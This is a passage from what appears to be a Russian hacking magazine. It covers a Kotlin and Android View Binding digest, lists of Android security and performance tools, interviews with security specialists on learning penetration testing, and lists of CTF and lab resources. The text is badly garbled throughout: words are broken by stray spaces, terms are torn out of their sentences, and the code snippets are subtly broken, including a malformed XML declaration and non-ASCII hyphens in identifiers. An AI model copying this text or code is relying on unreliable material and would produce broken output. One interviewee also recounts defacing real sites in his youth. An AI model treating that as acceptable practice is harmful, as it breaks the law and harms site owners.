дан ных Unit, Nothing и Any в язы ке Kotlin.
Kotlin Pearls  7: Unit, Nothing, Any  (and null)

•  — экви валент типа   в Java. Дру гими сло вами, он нужен для того,
что бы  показать,  что  фун кция  ничего  не  воз вра щает.  Unit  нас леду ется
от  типа  Any,  а  при  работе  с  Java‐кодом  авто мати чес ки  тран сли рует ся
в  .

Unit void

void
•   —  класс,  явля ющий ся  суб клас сом  любого  клас са  (имен но  так)
и  не  поз воля ющий  соз дать  объ ект  сво его  типа  (конс трук тор  при ват ный).
Исполь зует ся для пред став ления резуль тата исполне ния фун кции, которая
никог да  не  завер шает ся  (ска жем,  потому  что  она  выб расыва ет  исклю‐ 
чение). При мер:

Nothing

public inline fun TODO(): Nothing = throw NotImplementedError()
// Ошибки компиляции не будет, потому что Nothing — субкласс 
любого класса, в том числе Player
fun determineWinner(): Player = TODO()

•  — родитель всех осталь ных клас сов. Ана лог   в Java.Any Object

Об зор новой фун кции бин динга View-эле мен тов в Android Studio
 — рас сказ о новой фун кции Android Studio,

появив шей ся в вер сии 3.6 Canary 11. View Binding поз воля ет получить дос туп
к  View‐эле мен там,  опре делен ным  в  XML,  прос тым  и  типобе зопас ным  спо‐ 
собом, не тре бующим исполь зовать фун кцию  .

Exploring View Binding on Android

findViewById()
Что бы  про демонс три ровать,  как  это  работа ет,  возь мем  сле дующий XML,

опи сыва ющий прос тень кий интерфейс ( ):add_profile.xml

<?xml version="1.0" encoding="utf‐8">
<androidx.constraintlayout.widget.ConstraintLayout
       xmlns:android="http://schemas.android.com/apk/res/android"
       xmlns:app="http://schemas.android.com/apk/res‐auto" 
       xmlns:tools="http://schemas.android.com/tools"
       android:layout_width="match_parent"
       android:layout_height="match_parent">

   <TextView
           android:id="@+id/text_title"
           android:layout_width="wrap_content"
           android:layout_height="wrap_content"
           app:layout_constraintBottom_toTopOf="@+id/button_authenti
cate"
           app:layout_constraintEnd_toEndOf="parent"
           app:layout_constraintStart_toStartOf="parent"
           app:layout_constraintTop_toTopOf="parent" />

   <Button
           android:id="@+id/button_add_profile"
           android:layout_width="wrap_content"
           android:layout_height="wrap_content"
           android:padding="16dp"
           android:text="@string/label_authenticate"
           android:layout_marginBottom="24dp"
           app:layout_constraintBottom_toBottomOf="parent"
           app:layout_constraintEnd_toEndOf="parent"
           app:layout_constraintStart_toStartOf="parent"/>

Те перь откры ваем код активнос ти и пишем сле дующее:

private lateinit var binding: AddProfileBinding

...

@Override
fun onCreate(savedInstanceState: Bundle) {
   super.onCreate(savedInstanceState)

   binding = AddProfileBinding.inflate(layoutInflater)
   setContentView(binding.root)

   binding.textTitle.text = getString(R.string.some_string)
   binding.buttonAddProfile.setOnClickListener {
       ...
   }
}

Этот код покажет на экра не при веден ный выше интерфейс, а так же прис воит
 под име нем   стро ку   и наз начит

на кноп ку   какое‐то дей ствие.
TextView text_title R.string.some_string

button_add_profile
Мо жет показать ся, что автор про пус тил важ ную часть кода, но это не так.

Фун кция View Binding авто мати чес ки соз дает для каж дого XML‐фай ла класс,
получа ющий  имя  XML‐фай ла  с  отбро шен ными  сим волами  под черки вания
и сло вом Binding в кон це. В дан ном при мере Android Studio соз дал класс 

 для фай ла  .
Ad‐

dProfileBinding add_profile_xml
Ис поль зуя  этот  класс,  мы  затем  отоб разили  интерфейс  на  экра не

и получи ли дос туп к   и кноп ке, которые по ана логии с име нем клас са
получи ли  име на  на  осно ве  их    в  XML‐фай ле.  Иден тифика тор 
стал  , а   ста ла  .

TextView
id text_title

textTitle button_add_profile buttonAddProfile
Это  дей стви тель но  все.  Боль ше  никаких  проб лем  с  поис ком  View

с  помощью  ,  никаких  null  на  мес те  ненай ден ных  эле мен тов
и оши бок типов. Прос то и ясно.

findViewById()

Что бы все это работа ло, необ ходимо уста новить Android Studio 3.6 Canary
11 и добавить в   сле дующую стро ку:build.gradle

android {
   …
   viewBinding {
       enabled = true
   }
}

Как работа ет View Binding

Инс тру мен ты повыше ния про изво дитель нос ти при ложе ния
 — неболь шой

обзор сто рон них инс тру мен тов и биб лиотек, поз воля ющих повысить ста биль‐ 
ность и про изво дитель ность при ложе ния.

Android  third party  tools  to  increase  the performance of your app

  —  извес тная  биб лиоте ка,  авто мати чес ки  сооб щающая
об утеч ках памяти.

• LeakCanary

  —  ана лог  LeakCanary,  поз воля ющий  отло вить  бло киров ки
основно го потока при ложе ния (лаги); по ссыл ке форк ори гиналь ного про‐ 
екта, кор рек тно работа ющий в новых вер сиях Android.

• BlockCanary

  —  показы вает  про изво дитель ность  методов 
,   и  .

• AndroidDevMetrics onCre­

ate() onStart() onResume()

 — показы вает текущий FPS при ложе ния.• Takt
 — инс тру мент трас сиров ки методов, реали зован ный в фор ме

пол ноцен ного фор ка Android (раз работ ка Uber).
• Nanoscope

 — китай ский инс тру мент монито рин га, поз воля ющий соб‐ 
рать  огромное  количес тво  дан ных,  начиная  от  пот ребля емой  памяти
и закан чивая рас ходом батареи.

• AndroidGodEye

  —  модуль ный  инс тру мент  для  оцен ки  про изво дитель нос ти  при‐ 
ложе ния.

• Booster

BlockCanary

ИНСТРУМЕНТЫ

 — инте рак тивный инс тру мент ревер са Android‐при ложе ний.• Andromeda
  —  модуль ный  обфуска тор,  не  тре бующий  исходный  код  при‐ 

ложе ния.
• Obfuscapk

 — тре ниро воч ное при ложе ние, уяз вимое к раз ным типам атак.• EVABS
  —  сбор ник  мал вари  для  Android,  най ден ной

в 2019 году.
• Malware  Timeline  2019

  —  скрипт  для  быс тро го  раз верты вания  пен‐ 
тест‐окру жения на базе эму лято ра Android, Frida и Mitmproxy.

• Android‐Malware‐Sandbox

 — оче ред ное уяз вимое при ложе ние для про вер ки ски лов пен тестин‐ 
га.

• VyAPI

 — скрипт для дам па  хипа Android‐при ложе ний с  помощью
Frida.

• dump_hprof.py

 — набор под собных фун кций для Frida.• xia0FridaScript
 — набор ути лит для обна руже ния и экс плу ата ции уяз‐ 

вимос ти в iMessage.
• iOS‐messaging‐tools

 — дам пер памяти Android‐про цес сов.• leetdump

БИБЛИОТЕКИ

  —  биб лиоте ка  UI‐прог рамми рова ния  (динами чес кий  ана лог
anko).

• Countour

 — биб лиоте ка ана лиза хипа на базе LeakCanary 2.• Shark
 — тон ко нас тра иваемые всплы вающие под сказ ки.• Ballon

 — вер тикаль ный пол зунок.• VerticalSeekBar
 — гиб ко нас тра иваемый кален дарь.• CalendarView

 — биб лиоте ка для под свет ки опре делен ных типов тек ста (хеш‐ 
теги, мен шизы и т. д.).

• textmatcher

 — фун кция  , поз воля ющая исполь зовать условные выраже‐ 
ния в бил дерах.

• WhatIf whatif

 — биб лиоте ка для упро щения работы с покуп ками внут ри при ложе‐ 
ния.

• KinApp
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УЧИТЬСЯ
ПЕНТЕСТУ

КАК

СОВЕТЫ ЭКСПЕРТОВ И АВТОРОВ
«ХАКЕРА»

COVERSTORY

На чинать  что‐то изу чать  всег да неп росто,  и для новых дис‐ 
циплин вро де информа цион ной безопас ности это осо бен но
вер но. Мы  опро сили  некото рых  авто ров  и  дру зей  жур нала,
что бы узнать, с  чего они начина ли свой путь,  что им в этом
помог ло  и  какие  зна ния  в  сво ей  дис ципли не  они  счи тают
наибо лее цен ными.

NIJAT11
Кон суль тант по информа цион ной

безопас ности

Как ты учил ся тому, что уме ешь?
На чалось все со зна комс тва с жур налом «Хакер» в 2006 году, я тог да учил ся
в седь мом клас се. Читал и не очень понимал, что все зна чит и что про исхо‐ 
дит. Пос ле чте ния вся ких форумов и ста тей осоз нал, что надо учить ся прог‐ 
рамми рова нию, и начать я решил с Perl. Интернет тог да в моем городе был
еще сла бый (dial‐up), ска чал пару книг, сам интер пре татор и сел за дело.

Ска зать  чес тно,  осво ить  Perl  тог да  мне  не  уда лось.  Потом  решил  осва‐ 
ивать  PHP,  и  что‐то  уже  ста ло  получать ся.  Так  прош ло  нес коль ко  лет,  я
худо‐бед но осво ил PHP, MySQL и Linux.

Ло мать учил ся очень дол го, осво ить веб‐хакинг мне помог ли два фак тора:
зна комс тво c Андре ем Петухо вым и ста жиров ка в коман де ONsec. Андрей дал
мне спи сок книг для проч тения и прак тичес ких задач. В коман де ONsec было
мно го  про ектов,  сле дова тель но,  мно го  прак тики,  очень  мно гому  научил ся
у этих кру тых ребят.

С чего начинать в пер вую оче редь?
Во‐пер вых,  нуж но  иметь  базовое  пред став ление  о  TCP/IP,  HTTP  и  ори енти‐ 
ровать ся  в  Linux.  Очень  рекомен дую  учас тво вать  в  CTF,  они  очень  хорошо
кача ют скилл, прав да не все. Так же мож но занимать ся bug bounty, помога ет
про качать скил лы веб‐экс плу ата ции.

Что до книг и про чих спра воч ных матери алов, то мне в свое вре мя помог‐ 
ли  ,  , 

, а так же   и  . Мно гое из это го
еще впол не акту аль но.

Web Application Hacker’s Handbook The Tangled Web The Browser Hacker’s
Handbook RFC по HTTP до кумен тация к Burp Suite

По делись полез ными ссыл ками
• HackTheBox
• Pentestlab
• RingZer0 Team Online CTF
• Root Me

АЛЕКСЕЙ СИНЦОВ

Как ты учил ся тому, что уме ешь?
Обу чение  было  дол гим  и,  по  сути,  идет  до  сих  пор.  Началось  все  в  шко ле
в 1999 году, у меня толь ко появил ся модем. На пират ском дис ке с дро вами
для  модема  и  про чими  полез ными  тул зами  была  сек ция  «для  хакера»
с набором вся ких тупых ска неров и спло итов типа WinNuke (CVE‐1999‐0153).
Это меня увлекло, я стал изу чать, как работа ет WinNuke, как работа ет сетевой
ска нер,  что  такое  экс пло ит,  ата ка  и  так  далее.  Это  давало  пре иму щес тва
в Сети!

Тог да же я купил свои пер вые выпус ки жур нала «Хакер». Хулиган ский стиль
изда ния  и  сво бод ный  язык  со  вся ким  слен гом  школь никам  вро де  меня
заходил отлично. Но глав ное — статьи зас тавля ли искать инфу уже в интерне‐ 
те. Так я узнал, что такое тро яны и какие они быва ют, про читал про типовые
баги и про мно гое дру гое.

Те ма увле кала все силь нее и силь нее. Купил книж ку «Ата ка на интернет»,
уви дел, что авто ры (П. В. Семь янов и И. Д. Мед ведов ский) — из питер ско го
Полите ха.  Решил  пой ти  к  ним  учить ся. Это,  конеч но,  была  наив ная  иллю зия
о  нашей  сис теме  обра зова ния  и  о  том,  чему  будут  учить...  Но  я  все  рав но
не пожалел потом — вуз хороший, и сос тав пре пода вате лей там огонь! :‐)

Еще  про дол жая  учить ся  в  шко ле,  я  соб рал  свою  хак‐груп пу  вмес те
с  одноклас сни ком,  которо го  читате ли  «Хакера»  могут  пом нить  под  ником

.  В  этой  хак‐груп пе  я  был  типа  заводи лой,  и  мы  при думы вали
для себя про екты.
GreenDog

Тог да, собс твен но, и наметил ся путь моего обу чения, и с тех пор это нап‐ 
равле ние  не  менялось.  Про дол жаю  точ но  так  же  искать  новые  баги,  либо
по ана логии со ста рыми, либо руководс тву ясь инту ицией.

В то вре мя, прав да, мы час то тре ниро вались на реаль ных объ ектах в Сети,
но уро на мы не наноси ли и ничего не ворова ли, мак симум делали «фановые»
вещи  для  адми нов...  Кста ти,  тог да  адми ны    хороший  дефейс  (с
бэкапом и инфой о баге), потому что это им помога ло понять, где и что не так.
Сей час это, конеч но, зву чит дико…

це нили

Од нако это поз воляло мне искать 0day в про дук тах на Perl и PHP и иссле‐ 
довать про чие вещи в ИБ (бинар щину, сети и так далее). Нап ример, в 2001‐м
мы офи гели  от Nmap  и  про ектов  типа  Xprobe Федора Яроч кина  и  замути ли
собс твен ный под ход к пас сивно му мап пингу ассе тов (ОС) на Delphi.

Я писал автос пло итер веб‐багов на осно ве базы GIN Group и даже хотел
вмес те  с  ними  сде лать  один  про ект,  но  не  выш ло...  Уже  пос тупив  в  уни вер
в 2002 году, я исполь зовал и знал мно гое, и это помога ло мне в прог рамми‐ 
рова нии  и  про чих  делах.  Хотя  с  крип тогра фией  было  тяжело — матема тика
все же не мое.

С чего начинать в пер вую оче редь?
Ос новы  ИТ.  Сети,  про токо лы,  ком пиляция,  работа  ОС  (про цес сы,  память
и про чее). Зная осно вы, ты понима ешь, как в этих реалиях жить и где мож но
«прос кочить».

Да лее нужен опыт. Опыт написа ния спло итов, пен тестов, зохака в общем
и целом. При чем, на мой взгляд, важ но имен но не решение задачек по шаб‐ 
лону  (хотя  я  ува жаю  CTF’еров,  мно гие  из  них  в  разы  умнее  меня),  а  воз‐ 
можность  искать  свой  путь,  про ходить  пер вым...  Поп робовав  на  вкус  эту
«кровь», ты ста новишь ся реаль но в теме, а не теоре тиком или ана лити ком. 8)

Ка кие есть вари анты работы?
В наше вре мя вари антов море! Если говорить об ИБ, то прог рамми рова ние,
incident response в Blue Team, монито ринг SOC. Есть про фес сии Threat Hunter,
Security  Engineer,  Application  Security  Engineer.  Мож но  быть  пен тесте ром
по  най му  или  работать  в  Red  Team.  А  мож но  стать  кон суль тан том  или  раз‐ 
работ чиком спло итов на фри лан се. Работы мно го, очень мно го...

По делись полез ными ссыл ками
Не собираю ссыл ки, но могу посове товать искать матери алы на сай тах любых
кон ферен ций с хакер ским укло ном. Ну и филь тро вать най ден ное уже самос‐ 
тоятель но. Если говорить про кур сы, то могу посове товать  .Corelan Team

PAHUELLO
Ру ково дитель нап равле ния пен теста в An-

gara Technologies Group

Как ты учил ся тому, что уме ешь?
Ес ли в двух сло вах — уни вер и любопытс тво. Я пос тупил в уни вер на ИБ‐спе‐ 
циаль ность,  и  мне  повез ло  с  пер вого  кур са  попасть  в  коман ду  CTF  нашей
кафед ры  и  поучас тво вать  в  паре  онлай новых  сорев нований.  На  тот  момент
это было что‐то из раз ряда раз вле чения, и я не подоз ревал, что свою даль‐ 
нейшую  про фес сиональ ную  жизнь  свя жу  с  offensive  security  и  это  ста нет
для меня дей стви тель но инте рес ным делом.

Осоз нание это го приш ло бли же к кон цу уче бы (4–5‐й курс), да и дис ципли‐ 
ны к тому момен ту были более инте рес ными и прик ладны ми, нежели на пер‐ 
вых кур сах. И в прин ципе, я до сих пор счи таю, что уни вер для меня пос лужил
той  базой,  которая  мне  здо рово  помог ла  начать  свой  путь  с  позиции  джу‐ 
ниора.

В  тот  момент  меня  заин тересо вали  две  темы  —  прог рамми рова ние  (в
основном  Python)  и  сети.  В  сту ден чес тве  прод винуть ся  в  них  мне  помог ли
отчасти матери алы с лек ций и лаб в уни вере, кни ги Лут ца и Оли феров и мно‐ 
го‐мно го  гуг ла  в  про цес се решения CTF и  учеб ных  задач. Мне всег да было
инте рес но  не  прос то  решить  пос тавлен ную  задачу,  а  разоб рать ся  в  зат‐ 
рагива емой  теме  как  мож но  глуб же  и  най ти  отве ты  на  воп росы  «Как
это работа ет?», «Почему имен но так, а не ина че?», «А что будет, если сде лать
по‐дру гому?» и так далее.

Поз же,  ког да  я  уже  начал  работать  пен тесте ром, мне  помога ли  стар шие
товари щи,  Google,  статьи  в  «Хакере»,  бло ги  дру гих  пен тесте ров  и  ресер‐ 
черов,  а  так же  офи циаль ная  докумен тация  к  тех нологи ям  и  прог раммам,
с которы ми я стал кивал ся. Если не уда валось разоб рать ся в чем‐то до кон ца
в рам ках задач, которые у меня были, ста рал ся искать похожие тас ки на пло‐ 
щад ках типа Root Me.

С чего начинать в пер вую оче редь?
Слож ный воп рос. В пен тесте тебе при ходит ся мно го с чем стол кнуть ся. Это и
веб, и сети, и опе раци онные сис темы... Если говорить про инфраструк турный
пен тест, то тут при годит ся понима ние того, что собой пред став ляет Windows,
Active Directory. Для нович ка в качес тве базы будет полез на кни га Мар ка Рус‐ 
синови ча « ».Внут реннее устрой ство Windows

Ес ли  сов сем нет осно вы или  ты еще сту дент, мож но  гля нуть  Танен баума
« ». Если же у тебя уже есть опыт айтиш‐ 
ника,  но  ты  не  понима ешь  про цесс  пен теста,  могу  пореко мен довать 

, доволь но прак тичная шту ка.

Сов ремен ные опе раци онные сис темы
The

Hacker Playbook
Еще  мож но  пос мотреть,  как  дру гие  ребята  готови лись  к  сер тифика циям

типа  OSCP,  OSCE  (гуг ли  OSCE  preparation,  OSCP  walkthrough  и  подоб ное).
Ког да  я  толь ко  инте ресо вал ся  аппсе ком,  мне  помог ла  кни га  «

».
24  смер тных

гре ха компь ютер ной безопас ности
Во обще, мое мне ние — если  ты  не  зна ешь осно вы,  тебе будет  слож нее

взять ся за реаль ные вещи. Гру бо говоря, ты не смо жешь под держать диалог
о  TLS,  не  понимая  азов  крип тогра фии,  прин ципов  асим метрич ного  шиф‐ 
рования и PKI. Такие же при меры мож но при вес ти и про реверс, веб, кодинг
или пен тест.

Ка кие есть вари анты работы?
Ва риан тов мас са! На рын ке ИБ есть мно го вакан сий, где тре буют ся хорошие
спе циалис ты.  SIEM,  Application  Security,  Reverse  Engineering,  Pentest,  SOC...
И спи сок мож но про дол жать. Я думаю, что ресур сы, подоб ные  , рас ска‐ 
жут  куда  боль ше,  чем  я.  Да  и  тре бова ния  к  кан дидатам  там  тоже  опи саны.
Мож но еще поучас тво вать в ста жиров ках, если это поз воля ют твои ресур сы.
Я знаю, что такая воз можность есть в Positive Technologies, «Инфор мза щите»
и Digital Security. А уж там опре делишь ся, куда подать ся.

hh.ru

По делись полез ными ссыл ками
Вот некото рые ресур сы, боль шинс твом из них я поль зуюсь сам.

Ка налы в Telegram:•
• canyoupwnme
« »• Ад миним с Бук вой

• DCG#7812 Defcon‐Russia
• Full Disclosure
• r0 Crew
• YAH
Ме гапод борки:•
• Infosec_Reference
• Penetration Testing Practice Lab
Ма нуалы и чит шиты:•
• bitvijays.github.io

 (и  )• КМБ CTF ре пози торий
CTF:•
• Root Me
• Hack The Box
Но вос ти об уяз вимос тях:•
• CyberPunk
Ну и конеч но,  !• Google

АНТОН ЛОПАНИЦЫН AKA BO0OM
Не зави симый иссле дова тель безопас- 

ности веб‑при ложе ний 
@i_bo0om

Как ты учил ся тому, что уме ешь?
Мно го про бовал, час то не получа лось, в ито ге всё, в том чис ле неуда чи, при‐ 
годи лось как навык. Без прак тики — всё дерь мо.

С чего начинать в пер вую оче редь?
CTF,  сна чала  лег кие  (мож но  смот реть  ),  потом  смот реть  рай тапы
и  хин ты  типа  . Ну  и  конеч но же,  за  вся кой фиг ней  заг лядывать
в канал   в «Телег раме» и искать по каналу.

ctftime.org
kmb.cybber.ru

@webpwn

Ка кие есть вари анты работы?
Ты сячи их, а как ока залось, еще и собесе дова ния нес ложные, если ты по чес‐ 
ноку раз берешь ся, как что работа ет!

По делись полез ными ссыл ками
• Hack The Box
• VulnHub
• Practical Pentest Labs
• Labs Wizard Security
• PentesterLab
• Hackthis
• Shellter
• Root Me
• Zenk‐Security
• W3Challs
• NewbieContest
• The Cryptopals Crypto Challenges
• Penetration Testing Practice Labs
• alert(1) to win
• Hacksplaining
• Hacker101
• Academy Hackaflag
• PentestIT LAB
• Hacker Security
• PicoCTF
• Explotation Education
• Root in Jail
• CMD Challenge
• Try Hack Me
• Hacking‐Lab
• PWNABLE
• WHO4REYOU
• Google CTF
• ImmersiveLabs
• Attack‐Defense
• OverTheWire
• SANS Challenger
• SmashTheStack
• CTF Antichat

ЯРОСЛАВ БАБИН
Web sec warrior 
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Как ты учил ся тому, что уме ешь?
Ра зоб рался с базовы ми вещами, которые исполь зуют ся в вебе пов семес тно:
SQL, JavaScript вмес те с HTML, спо собы обхо дов WAF. При чем для пос ледне‐ 
го  при ходи лось  изу чать  мно го  докумен тации,  что  дало  понима ние  этих  тех‐ 
нологий.  Затем мно го  раз  перечи тывал  отве ты  на  воп росы  по  уяз вимос тям
на Antichat и RDot, где кон спек тировал самые инте рес ные и полез ные советы.

С чего начинать в пер вую оче редь?
Глав ное — всег да понимать цель экс плу ата ции любой из уяз вимос тей и при‐ 
чины ее воз никно вения. Да и в целом быть зна комым со все ми воз можны ми
век торами.

Ка кие есть вари анты работы?
Баг баун ти, кон салтинг.

По делись полез ными ссыл ками
Пе речи тать, про верить на прак тике и закон спек тировать:
• Воп росы и отве ты по уяз вимос тям (2015 год, Antichat)
• Воп росы и отве ты по уяз вимос тям (2007 год, Antichat)
• Воп росы по уяз вимос тям веб‐при ложе ний (RDot)
• Help по MySQL‐инъ екци ям (RDot)
• Шпар галка по веб‐уяз вимос тям (RDot)

Ос таль ное:
• Hack The Box
• Чит шит по инъ екци ям MySQL
• Exploiting PHP File Inclusion
• Рас кры тие путей. Методы, при меры (RDot)
• Осо бен ности реали зации PHP include (RDot)
В целом раз дел « » на RDot• Статьи

• Тех ники атак (OWASP)
• An Introduction to HTTP Response Headers for Security
Мой док лад с ZeroNights2017 — XXE: How to become a Jedi ( )• PDF

• Remote code execution via PHP (Unserialize)
Exploiting the Java Deserialization Vulnerability ( )• PDF

• From Local File Inclusion to Code Execution
• Кни га The Web Application Hacker's Handbook

NIK ZER0F
Спе циалист в области сис темно го прог- 
рамми рова ния и иссле дова ний в Win-

dows, автор Xakep.ru

Как ты учил ся тому, что уме ешь?
На вер ное, как и мно гих, сна чала меня заин тересо вала тема вир мей керс тва.
Тог да  мне  это  казалось  нас тоящей  чер ной  маги ей,  я  перечи тал  все  воз‐ 
можные  жур налы  по  VX,  из  которых  осо бо  выделял ся,  конеч но,  29А.  Сайт

 был прош тудиро ван пол ностью нес коль ко раз. :)Z0MBiE
Так же меня  серь езно  вдох новил  Крис  Кас пер ски,  было  очень  инте рес но

читать  его  статьи  и  кни ги.  И  конеч но,  мас са  исходных  тек стов,  в  основном
на  ассем бле ре.  Бес конеч ные  экспе римен ты,  опы ты  с  исходни ками,  ком‐ 
пиляция раз ных макетов и пос тоян ное чте ние ста тей и книг.

Осо бая радость была,  ког да  что‐то получа лось,  а  зна ния  уда валось воп‐ 
лотить в код и уви деть, как это работа ет. На тот момент это здо рово мотиви‐ 
рова ло.

С чего начинать в пер вую оче редь?
По моей  спе циаль нос ти —  с  ассем бле ра! Мно гие  сей час  говорят,  что  этот
язык мертв, — я с этим не сог ласен. Ты как минимум дол жен уметь сво бод но
читать код на асме, который выда ют отладчи ки и дизас сем бле ры.

Из  язы ков  высоко го  уров ня  могу  посове товать  С/С++  —  он  пос тоян но
раз вива ется и совер шенс тву ется. Мас са кода на нем написа на, и мас са кода
пишет ся пря мо сей час. Хотя сто ит обра тить вни мание и на более сов ремен‐ 
ные  язы ки — Rust  и  Golang.  Хотя  бы  что бы  быть  в  кур се  сов ремен ных  тен‐ 
денций.

У  иссле дова теля  или  прог раммис та,  который  спе циали зиру ется  на  Win‐
dows, спра воч ник MSDN дол жен быть всег да под рукой. И сто ит читать соот‐ 
ветс тву ющую литера туру. Но  тут  кому  что  инте рес но:  ана лиз  вирусов,  поиск
уяз вимос тей, сис темная раз работ ка и про чее. И конеч но, нуж ны собс твен ные
экспе римен ты и копание в коде. Ты дол жен сво бод но управлять ся с отладчи‐ 
ком и дизас сем бле ром, знать тон кости тво его ком пилято ра.

Кро ме  того,  хоть это и оче вид но, но пореко мен дую по воз можнос ти изу‐ 
чить англий ский — хотя бы до  уров ня сво бод ного  чте ния. Пом ни:  зна ния —
наг рада за дей ствие! :)

Ка кие есть вари анты работы?
Че го гре ха таить — тут в нашей области все неп росто. С одной сто роны, пла‐ 
тят  неп лохо,  с  дру гой  —  ниша  таких  иссле дова ний  и  раз работок  мала
и работу при дет ся поис кать. Но мож но най ти и фри ланс, и офи циаль ное тру‐ 
доус трой ство  —  кому  как  боль ше  нра вит ся.  Но  надо  будет  пос тарать ся,
и  здесь  мно гое  зависит  от  уров ня  тво их  скил лов.  А  если  все  получит ся,  то
поверь, голодать ты не будешь! :)

По делись полез ными ссыл ками
• Project Zero
• ExeLab
• windows deep internals
• hasherezade’s 1001 nights

!• Ха кер.ru
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Как ты учил ся тому, что уме ешь?
С железом я поз накомил ся в хак спей се «Ней рон». Имен но там мне показа ли
Arduino Uno.  Тог да  (это было дос таточ но  дав но)  эти  пла ты  еще не были  так
популяр ны. Мне было ска зано, что одна такая плат ка и мик росхе ма К555АП4
(до сих  пор пом ню) решат  все мои проб лемы —  тог да они лежали в  сфе ре
робото тех ники  и  инвер сной  кинема тики.  Я  решил  поп робовать.  Более  три‐ 
виаль ный старт труд но себе пред ста вить.

Сле дующей сту пень кой было пор тирова ние кода на «серь езное» и весь ма
спе цифич ное железо — про цес соры  «Муль тик лет».  Уди витель но,  но  раз бор
всех  тон костей  и  нюан сов  помог мне  луч ше  понять мик рокон трол леры AVR.
Вне зап но  у  них  наш лось  что‐то  общее.  Пос ле  это го  переход  к  популяр ным
плат формам на ARM про шел отно ситель но лег ко и без болез ненно.

Так же «прос ветле нию» помога ет чте ние докумен тации. Или хороших книг
по теме. Могу пореко мен довать две:   и «
». Это доволь но ста рые кни ги, и тех нологии с тех пор ушли далеко впе ред,

но они дают глав ное — понима ние основ и прин ципов.

Hacking the Xbox Ис кусс тво экс плой‐ 
та

С чего начинать в пер вую оче редь?
Пер вые шаги, навер ное, лег че будет делать на том же самом Arduino. Прос то
нуж но  понимать,  что  это  толь ко  вер хушка  айсбер га,  и  ни  в  коем  слу чае
не  оста нав ливать ся.  Спус тить ся  на  уро вень  ниже  —  C,  асм,  регис тры
перифе рии,  интерфей сы.  Потом  перей ти  на  сов ремен ное  железо.  Про ще
выб рать что‐то популяр ное, что под держи вает ся сооб щес твом  (рекомен дую
STM32).

Из  книг  тебе  поможет  хорошая  (тол стая)  книж ка  по  С/С++,  «
»,  « »,  «

». Так же из необыч ного, но инте рес ного — жур нал
« » (да, он очень ста рый, но я читал
запо ем).

Ис кусс тво
схе мотех ники Циф ровая схе мотех ника и архи тек тура  компь юте ра Яд ро
Cortex‐M3 ком пании ARM
Мик ропро цес сорные средс тва и сис темы

По делись полез ными ссыл ками
Вот нес коль ко из недав них ста тей, которые мне пон равились.

« »• Взлом про шивок USB‐устрой ств
• Modern Vulnerability Research Techniques on Embedded Systems
• Reverse engineering STM32 firmware
• Заг рузчик с шиф ровани ем для STM32

И вот еще хороший  .план само обу чения по безопас ности ARM
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В этой статье мы выяс ним, какие пло щад ки поз воля ют отта‐ 
чивать  мас терс тво  взло ма  и  ценят ся  спе циалис тами
по  безопас ности.  Они  поз воля ют  этич ным  хакерам  быть
этич ными до пос ледне го, при этом не терять хват ку, регуляр‐ 
но  прак тиковать ся  со  све жими  уяз вимос тями  и  оста вать ся
в рам ках закона.

Сфе ра  ИТ  раз вива ется  семимиль ными  шагами,  компь юте ры  про ника ют
в  жизнь  все  глуб же,  циф ровые  сис темы  ста новят ся  более  ком плексны ми,
а  соот ветс твен но,  рас тет  и  повер хность  атак.  Это  в  свою  оче редь  рож дает
спрос на спе циалис тов по безопас ности, в том чис ле — этич ных хакеров.

WWW

Под робнее  о  про фес сии  (или  даже  про фес сиях)
этич ного хакера читай в колон ках 
и  .  Начать  можешь  с  матери‐ 
ала  « »  —  он  дает 

 пред став ление о том, чем и как занима‐ 
ется пен тестер в белой шля пе.

Юрия Голь цева
Де ниса Мак рушина

Этич ный  взлом  по  шагам
неплохое

Этич ный хакер дол жен отлично раз бирать ся во всей спе цифи ке тем ной сто‐ 
роны: если ты зна ешь,  как сло мать, и под держи ваешь эти зна ния в акту аль‐ 
ном  сос тоянии,  то  смо жешь  давать  и  рекомен дации  по  защите.  В  общем,
глав ное здесь — прак тика, но как ей занимать ся, не нарушая закон?

На  заре  нулевых  мно гие  энту зиас ты  кибер безопас ности  ста нови лись
прес тупни ками,  хотя  час то  прес тупле ние  зак лючалось  лишь  в  .
Собс твен но, в «Хакере» то и дело мож но было встре тить рас ска зы о взло мах
реаль ных сис тем, написан ные от пер вого лица.

лю бопытс тве

Аль тер натив тог да не было, зато любопытс тва было хоть отбавляй. Но так
не  мог ло  про дол жать ся  дол го.  Вре мена  изме нились,  и  хакерам  приш лось
най ти  спо собы  совер шенс тво вать  навыки  нас тупатель ной  безопас ности
легаль но. Сегод ня сущес тву ет ряд плат форм, где всем жела ющим дают воз‐ 
можность прак тиковать ся без рис ка попасть под тяжелую руку закона.

INFO

В  этой  статье  вни мание  сос редото чено  на  отно‐ 
ситель но  бес плат ных  лабора тори ях,  которые
не  тре буют  в  обя затель ном  поряд ке  купить  под‐ 
писку  для  дос тупа  к  сво ей  инфраструк туре.
Из  плат ных  ана логов,  пре дос тавля ющих  сво им
кли ентам,  помимо  все го  про чего,  рас ширен ные
методи чес кие матери алы, мож но выделить 

 и  , схо жие с кур сом
.

Virtual
Hacking Labs PentesterLab Pro
PWK

СТРУКТУРА РЕСУРСОВ
Есть  нес коль ко  нап равле ний,  которых  может  при дер живать ся  тот  или  иной
ресурс,  пред лага ющий  прак тику  пен теста.  Обыч но  все  их  мож но  отнести
к одно му из трех боль ших раз делов.
1.    —  всем  хорошо  извес тный  ,  который  пред‐ 
став ляет  собой  отдель ные  задачи  по  опре делен ной  темати ке.  Обыч но
при сутс тву ют такие катего рии, как Reverse, Exploit (или PWN), Web, Crypto,
Stego,  Forensics, OSINT и Misc. Чуть реже  к  ним добав ляет ся PPC  (спор‐ 
тивное прог рамми рова ние). Про цесс выпол нения такой задачи дос таточ‐ 
но  пря моли неен:  заг ружа ешь  фай лы,  вхо дящие  в  сос тав  тас ка,  к  себе
на  машину,  находишь  флаг,  вво дишь  его  на  ресур се  и  получа ешь  свою
наг раду.

CTF-тас ки Capture  the  Flag

2.   — более приб лижен ное к реаль ной
жиз ни  испы тание,  которое  зак люча ется  во  взло ме  заведо мо  уяз вимого
хос та. Конеч ная цель — получе ние кон тро ля над при виле гиро ван ным акка‐ 
унтом сис темы. Доказа тель ством окон чатель ного зах вата машины обыч но
слу жит  демонс тра ция  воз можнос ти  чте ния  фай лов  (так же  содер жащих
сво еоб разный  «флаг»),  дос тупных  поль зовате лям  с  соот ветс тву ющи ми
при виле гиями. Про цесс про хож дения раз нится в зависи мос ти от устрой‐ 
ства  пло щад ки,  на  которой  оби тает  уяз вимый  хост:  это  могут  быть
как «живые» хос ты, которые в текущий момент непос редс твен но находят ся
